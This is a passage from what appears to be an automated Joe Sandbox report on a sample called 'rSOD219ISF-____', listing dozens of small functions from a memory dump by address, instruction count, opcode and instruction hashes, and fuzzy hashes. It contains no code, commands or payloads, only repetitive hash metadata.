                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 09a63649cfa3f65b1c31b25c0e2f8d70838cbaf7a3395a859d540ea89f67837a
                                                                                                                              • Instruction ID: 88c501f77e05a61302deda1da38353495e56dfc2d2c2373f83df2054533e4c02
                                                                                                                              • Opcode Fuzzy Hash: 09a63649cfa3f65b1c31b25c0e2f8d70838cbaf7a3395a859d540ea89f67837a
                                                                                                                              • Instruction Fuzzy Hash: A3E09233A45524C7CB20DF5CF4814B6B3A8F7856A53188596E50CCE611E673D8A2D7C0
                                                                                                                              Function 05BF1740 Relevance: .0, Instructions: 24COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 8cf5b0b19b12aac698d68d346706723fc7516987638c535ad8b77e14e6dd692c
                                                                                                                              • Instruction ID: f7eb8487bd9d7bb51d3ec7b5e1305bfa9cfaa966602e7181352c19f7932854b0
                                                                                                                              • Opcode Fuzzy Hash: 8cf5b0b19b12aac698d68d346706723fc7516987638c535ad8b77e14e6dd692c
                                                                                                                              • Instruction Fuzzy Hash: C1E06DB1A11208EFC700EFE4EA4251D7BB5EB84304F1445A9E804E7359DA326E049B55
                                                                                                                              Function 05BFB230 Relevance: .0, Instructions: 24COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: cf51f003ae3467069a82e9c217a3e509eca4f7d2fd2edd2c442fca70ca5db716
                                                                                                                              • Instruction ID: 05a41a5ba0b62cdfbb35b8360cc638012abe89ced62d07f16966fe1d722f6b29
                                                                                                                              • Opcode Fuzzy Hash: cf51f003ae3467069a82e9c217a3e509eca4f7d2fd2edd2c442fca70ca5db716
                                                                                                                              • Instruction Fuzzy Hash: 56E0863534DB204FC728566ED8987BE7BCBBB96510F5840FEE18EC7272C415AC059394
                                                                                                                              Function 05BF6E27 Relevance: .0, Instructions: 23COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: b41ba32ca87effd752e8816fede01a18ea9ec4cf6a774c954e5c5347b013d183
                                                                                                                              • Instruction ID: c37b695e74b6ef8acfa1d1609add6bb2791acc6ac32be4b2a19f28387ab1b800
                                                                                                                              • Opcode Fuzzy Hash: b41ba32ca87effd752e8816fede01a18ea9ec4cf6a774c954e5c5347b013d183
                                                                                                                              • Instruction Fuzzy Hash: 3CE092326046020BC724E75CD8806CBE3A2EFC4318B444926D1459B615CF31AD4F8788
                                                                                                                              Function 05BF7F19 Relevance: .0, Instructions: 22COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: aae62921c5a57f5cbcfa98ac623381a7ccb936c9a88d383c1f04a8e363ff6ea0
                                                                                                                              • Instruction ID: 5aa0effc6ca8ce54597c25469ed3b0f7ef1df55cf16430858d07804a92aba33c
                                                                                                                              • Opcode Fuzzy Hash: aae62921c5a57f5cbcfa98ac623381a7ccb936c9a88d383c1f04a8e363ff6ea0
                                                                                                                              • Instruction Fuzzy Hash: 9CF03979D0524DEFCB50DFA0C9459DDBFF8EB88200F1481EAD806A3200EA301B01CF80
                                                                                                                              Function 05BFFA80 Relevance: .0, Instructions: 22COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 7e1ca3458b1712d254222ffc966dc450f9a5e4e14e311a63d4dd48a2f75de6f5
                                                                                                                              • Instruction ID: 844a9b945913fd23f499d6cc86f84154f8377e9625b93d0c0e82b941aa9a5576
                                                                                                                              • Opcode Fuzzy Hash: 7e1ca3458b1712d254222ffc966dc450f9a5e4e14e311a63d4dd48a2f75de6f5
                                                                                                                              • Instruction Fuzzy Hash: 89E08C303017158FE720AB78D910BBBB7E9FF40284F0049B9970AC7284EB30F8448BA0
                                                                                                                              Function 05BFFAD8 Relevance: .0, Instructions: 22COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 7bb7ea3dbce2e8d09bce4805e026416d0ba4c04e62530ff8459c870e2f4cfd97
                                                                                                                              • Instruction ID: 59e6d8694f785acf161a3bc8042a82903f3e3fb8613a9940ec1e221e640a08cc
                                                                                                                              • Opcode Fuzzy Hash: 7bb7ea3dbce2e8d09bce4805e026416d0ba4c04e62530ff8459c870e2f4cfd97
                                                                                                                              • Instruction Fuzzy Hash: 59D05E2230022813C604B6AD6455A7FAADFCBC9A65754043AEE0AD7381DCA5DC0197F1
                                                                                                                              Function 05BFD8E8 Relevance: .0, Instructions: 21COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 4cbed70ff6b1137b7e6a72a1400612e7abd8bef964023e3f56ef4234738b009f
                                                                                                                              • Instruction ID: cd41e307e90e599e79f7a12a637213dec183ed4cb9d5223ed493bbfc98e2cd03
                                                                                                                              • Opcode Fuzzy Hash: 4cbed70ff6b1137b7e6a72a1400612e7abd8bef964023e3f56ef4234738b009f
                                                                                                                              • Instruction Fuzzy Hash: BCD0C2A2B495A00BCB0A3364693A1BD5B114F92915B0945DBC30B9B2C2CD081A0E83CA
                                                                                                                              Function 05BFED70 Relevance: .0, Instructions: 20COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 416147a8fd8047d14eb524957a19e35f26bc89365710ff9e13ad3942acc2a57e
                                                                                                                              • Instruction ID: 43bdbc144491fdf475927aed6407a310f8c062549113654a105a63bff2a24840
                                                                                                                              • Opcode Fuzzy Hash: 416147a8fd8047d14eb524957a19e35f26bc89365710ff9e13ad3942acc2a57e
                                                                                                                              • Instruction Fuzzy Hash: C7E0D8350081CE5FCB12CF68D8418E93FB0EA02320B0482C6F8949A1E3C77647B6E751
                                                                                                                              Function 05BF7828 Relevance: .0, Instructions: 20COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 3381df804c448a349827568d71a9a15100c78e97b26f3389e5fec63b856d0bc3
                                                                                                                              • Instruction ID: ebc4a4969555a7c28d2110c244790a7df90def963021c1d62b8e8699879761b1
                                                                                                                              • Opcode Fuzzy Hash: 3381df804c448a349827568d71a9a15100c78e97b26f3389e5fec63b856d0bc3
                                                                                                                              • Instruction Fuzzy Hash: 1CE01A35610014CFCB449EA9E448BE833B0FB44226F4440F9E12ADB2A0DB34A989CF20
                                                                                                                              Function 05BF1750 Relevance: .0, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 4e53e8c4f87c8d9d008b1075a8d8b406344a6c27a98436ebb8564dc23c698e33
                                                                                                                              • Instruction ID: 8c9edd382ab13389e018ac777ca7c55769a90cddde2359f08c7384ea398fe761
                                                                                                                              • Opcode Fuzzy Hash: 4e53e8c4f87c8d9d008b1075a8d8b406344a6c27a98436ebb8564dc23c698e33
                                                                                                                              • Instruction Fuzzy Hash: 88E0E674A11208EFD700FFE4E94145D7BF9FB44304B148599E80597358DB326F05DB55
                                                                                                                              Function 05BF91C4 Relevance: .0, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 59cb82c358e4716f82582b67e931e09afd8dab9b0950f3fabe625ec03a84c87c
                                                                                                                              • Instruction ID: 1c57768b788427f3b5ad16601d8cce83fc2624de57c4eac34d3401d2b3b0ddb8
                                                                                                                              • Opcode Fuzzy Hash: 59cb82c358e4716f82582b67e931e09afd8dab9b0950f3fabe625ec03a84c87c
                                                                                                                              • Instruction Fuzzy Hash: BFE0C736C0403DAB8B00EFE8DC094EFFF78EF04A00B428266E954A7105C2308A20CBC8
                                                                                                                              Function 05BF7F28 Relevance: .0, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 67c1cfa5216dd72315ae2e2cf16fcbb4e4a16488fcd021f59b6c114459d44613
                                                                                                                              • Instruction ID: d99ee919ec6045a47d2f4ab90b51276432d2800005b4057224a345edb98385c2
                                                                                                                              • Opcode Fuzzy Hash: 67c1cfa5216dd72315ae2e2cf16fcbb4e4a16488fcd021f59b6c114459d44613
                                                                                                                              • Instruction Fuzzy Hash: 50E07579D0120DEFCB40DFA4D9458DDBBB9EB48200F1085AA9806A2200EA316B159F80
                                                                                                                              Function 05BF5021 Relevance: .0, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 75c17f85ce92f2339d86112cbe004b1f6ba3249e793483596415f3247fd243b6
                                                                                                                              • Instruction ID: 82eee45d2f9ce1deddfe0f53b57c5296e5059b07a7dc5443a130aa0c68b810c7
                                                                                                                              • Opcode Fuzzy Hash: 75c17f85ce92f2339d86112cbe004b1f6ba3249e793483596415f3247fd243b6
                                                                                                                              • Instruction Fuzzy Hash: E9E08C32D102548FD330ABA4E1487A4BB61E741311F4A88E6D6595B1D5D7BAEC858BD0
                                                                                                                              Function 05BFC040 Relevance: .0, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 4552190b5580a1d9284b69b766b9d7e8d43cb10ba69eab56423ec1ab53599e6e
                                                                                                                              • Instruction ID: c2dc9c0e46238f67c224579a0ba4ffe83bbb9f55b757f8ef8439e4768127dc69
                                                                                                                              • Opcode Fuzzy Hash: 4552190b5580a1d9284b69b766b9d7e8d43cb10ba69eab56423ec1ab53599e6e
                                                                                                                              • Instruction Fuzzy Hash: F1E012351482C89FD7028B34D4968E47F71EF5B224B1981D6E4C58B263D3319917DB00
                                                                                                                              Function 05BFED80 Relevance: .0, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 544d2cbd0a20b31f197a2b7fde8fef7b7c32c5e225c9eea01b24de73cbb81257
                                                                                                                              • Instruction ID: b2f637d140d58ae0d4316b5fda94edd2ce3f2f2c6b1aa642f0c3a45ca22fe810
                                                                                                                              • Opcode Fuzzy Hash: 544d2cbd0a20b31f197a2b7fde8fef7b7c32c5e225c9eea01b24de73cbb81257
                                                                                                                              • Instruction Fuzzy Hash: B8E0E23180020CAFCB00DFA8D8458ADBFB5EB44301F5085A6FC08E2251E7729BA4ABA1
                                                                                                                              Function 05BFDA48 Relevance: .0, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 73f07ee49e0b9c380e022261e8308cadf027a7e423b4f00d5ba5aee901c80464
                                                                                                                              • Instruction ID: 17afbdf39f1c94094573f08099ae5bf5e0bc174696bdeb3697fe8f9cf8ab5103
                                                                                                                              • Opcode Fuzzy Hash: 73f07ee49e0b9c380e022261e8308cadf027a7e423b4f00d5ba5aee901c80464
                                                                                                                              • Instruction Fuzzy Hash: 6FE08C31018A858FCB02DF38D8458D6BF30EF43208B0902DFE044CB223E624DA98CB91
                                                                                                                              Function 05BF60E8 Relevance: .0, Instructions: 17COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 355cd9a1496e55f5f2f0c1ddf7c4a3da6838e67519df493ecb85971494109e5b
                                                                                                                              • Instruction ID: edb2886d64b95803f413f6cd1e6bcf7fd967d0b58b8c8f1e38d70deb96915eda
                                                                                                                              • Opcode Fuzzy Hash: 355cd9a1496e55f5f2f0c1ddf7c4a3da6838e67519df493ecb85971494109e5b
                                                                                                                              • Instruction Fuzzy Hash: CBD05E366003486FD741ABB8CC42E957F719B29610F608195EE89CB252E222A85BCBA1
                                                                                                                              Function 05BFD8F8 Relevance: .0, Instructions: 17COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: b70a9a1f184444721bdc6166ac75bae9c9b0c66bcf7a40ba7bf66d0914f74700
                                                                                                                              • Instruction ID: 94ae5601771a9ebfe01231edf9004dc79702ab44d4afcaccc4476665d0dfa29d
                                                                                                                              • Opcode Fuzzy Hash: b70a9a1f184444721bdc6166ac75bae9c9b0c66bcf7a40ba7bf66d0914f74700
                                                                                                                              • Instruction Fuzzy Hash: 25D01222754934078F193669A53917DB34E9FC6929B0840AADA0B87381CE482E5B43CE
                                                                                                                              Function 05BFDA90 Relevance: .0, Instructions: 17COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 240194f8b1bc2fcaeab45c298208ab4a7cf6909ec2615a1455f63bd52fae460b
                                                                                                                              • Instruction ID: d024839557fde255e9962f843b95d3c2e7d40d895fa7d6b641d601ca46e83649
                                                                                                                              • Opcode Fuzzy Hash: 240194f8b1bc2fcaeab45c298208ab4a7cf6909ec2615a1455f63bd52fae460b
                                                                                                                              • Instruction Fuzzy Hash: 30E0EC3181460CDECB40EF74D5445A97BE8FB05211F40C57AEA09DA100EA31D2A8CF95
                                                                                                                              Function 05BF91D0 Relevance: .0, Instructions: 16COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: fcc788c89ca91730e34b729ea8219a5e8389f3dd18a4f57a8284d2c23dda9339
                                                                                                                              • Instruction ID: 5a25ece2bb74cd7e7866ffd29b4a615834f0b46ec44a71d151bf9f99f7529847
                                                                                                                              • Opcode Fuzzy Hash: fcc788c89ca91730e34b729ea8219a5e8389f3dd18a4f57a8284d2c23dda9339
                                                                                                                              • Instruction Fuzzy Hash: E3D05276C0013CAB8B10AFE99C088EFFF78EF08A50B418122EA14AB100D3701A24CBC0
                                                                                                                              Function 05BF4D44 Relevance: .0, Instructions: 16COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 8ec9b80bfabe516310165c6716860ebf7effc396c47829466c95d0da2fa8ca1f
                                                                                                                              • Instruction ID: 27eb4f6e349e079ab5b819e8d3a70864c18b11fbf0a07e125ad70eba0953699e
                                                                                                                              • Opcode Fuzzy Hash: 8ec9b80bfabe516310165c6716860ebf7effc396c47829466c95d0da2fa8ca1f
                                                                                                                              • Instruction Fuzzy Hash: 35D05E305A47048FD700FB2CD945875B7A4EF45704B051595E20697235EA20F8488B45
                                                                                                                              Function 05BFC016 Relevance: .0, Instructions: 15COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: a57703e36208bb91eb6ff41d5e0f859cc34189cbd7f441879419bd5659a528f2
                                                                                                                              • Instruction ID: 6f9fb20fd3165eb2285a3571f70ac3907b6cd9f80084c89c096d3d8e0340d27c
                                                                                                                              • Opcode Fuzzy Hash: a57703e36208bb91eb6ff41d5e0f859cc34189cbd7f441879419bd5659a528f2
                                                                                                                              • Instruction Fuzzy Hash: 65D0C92A54E3C14EC3036B7494204EABF306D7B11435E62D3D0D04A113CA1516AAD722
                                                                                                                              Function 05BF60F8 Relevance: .0, Instructions: 11COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 3972118035114e5fa99a28175aa9bfe00acca9297febcdb131ed33466f0cb3b2
                                                                                                                              • Instruction ID: b47fef3849a0ac6bbacdec89221a5f8d29dd51ba75247c399850dd3c6908d7c6
                                                                                                                              • Opcode Fuzzy Hash: 3972118035114e5fa99a28175aa9bfe00acca9297febcdb131ed33466f0cb3b2
                                                                                                                              • Instruction Fuzzy Hash: A1C08C3A300208BFDB80EFD8CC00D56B76DAB08714F60D040FB084E201C272F862DBA0
                                                                                                                              Function 05BF87D8 Relevance: .0, Instructions: 10COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: e36f39bd446c3019e971240682c8ea0359d98d2eed033f42d62af28d1a06863a
                                                                                                                              • Instruction ID: 6d35227f5cd04036129f4e13a55d84a3da4bfbdfd89f6e8bc027375623e2b608
                                                                                                                              • Opcode Fuzzy Hash: e36f39bd446c3019e971240682c8ea0359d98d2eed033f42d62af28d1a06863a
                                                                                                                              • Instruction Fuzzy Hash: 1EC08CBB2002805FE7123AA0DC04B617A01EF62609F07A1E642080B1B2E9128818CB52
                                                                                                                              Function 05BF3D80 Relevance: .0, Instructions: 10COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 35f44172d0db9e379b3c1ffbf108d31327b3901ffc8e4081905011ffa193c805
                                                                                                                              • Instruction ID: 873fe9edd97f01836e5d169692c6ef0bee868c85010a9ca231df1ef596e0a208
                                                                                                                              • Opcode Fuzzy Hash: 35f44172d0db9e379b3c1ffbf108d31327b3901ffc8e4081905011ffa193c805
                                                                                                                              • Instruction Fuzzy Hash: ABC08C32100108BBCB02BE80CC00E09BF2ABB04394F208044F7040D021D373E523ABC0
                                                                                                                              Function 05BFC050 Relevance: .0, Instructions: 9COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 1d6f2623337c38ef8749255ff78b3cbedb78fba73e040c9434c39499d8169e63
                                                                                                                              • Instruction ID: 61412fa5721fa0801f19765b42d0f6ac58f054d2697597a3f249e516f761f0d5
                                                                                                                              • Opcode Fuzzy Hash: 1d6f2623337c38ef8749255ff78b3cbedb78fba73e040c9434c39499d8169e63
                                                                                                                              • Instruction Fuzzy Hash: 87C00235140108AFC740DF55D445D95BBA9EB59660B1180A1F9484B722C632E9119A90
                                                                                                                              Function 05BF4F3C Relevance: .0, Instructions: 9COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 59c1209e42ac85ae5067cfaa1189e22b4988b06bf863fa278196b76494525629
                                                                                                                              • Instruction ID: 61461872bd0254e31f91475a13d8f9048a45b249639e762c7dc71a925e1c7515
                                                                                                                              • Opcode Fuzzy Hash: 59c1209e42ac85ae5067cfaa1189e22b4988b06bf863fa278196b76494525629
                                                                                                                              • Instruction Fuzzy Hash: 01C04C35244000AA8B01E794C6D4926FAA1FB557007419CE6A24956435CB31D81C9706
                                                                                                                              Function 05BF770B Relevance: .0, Instructions: 3COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
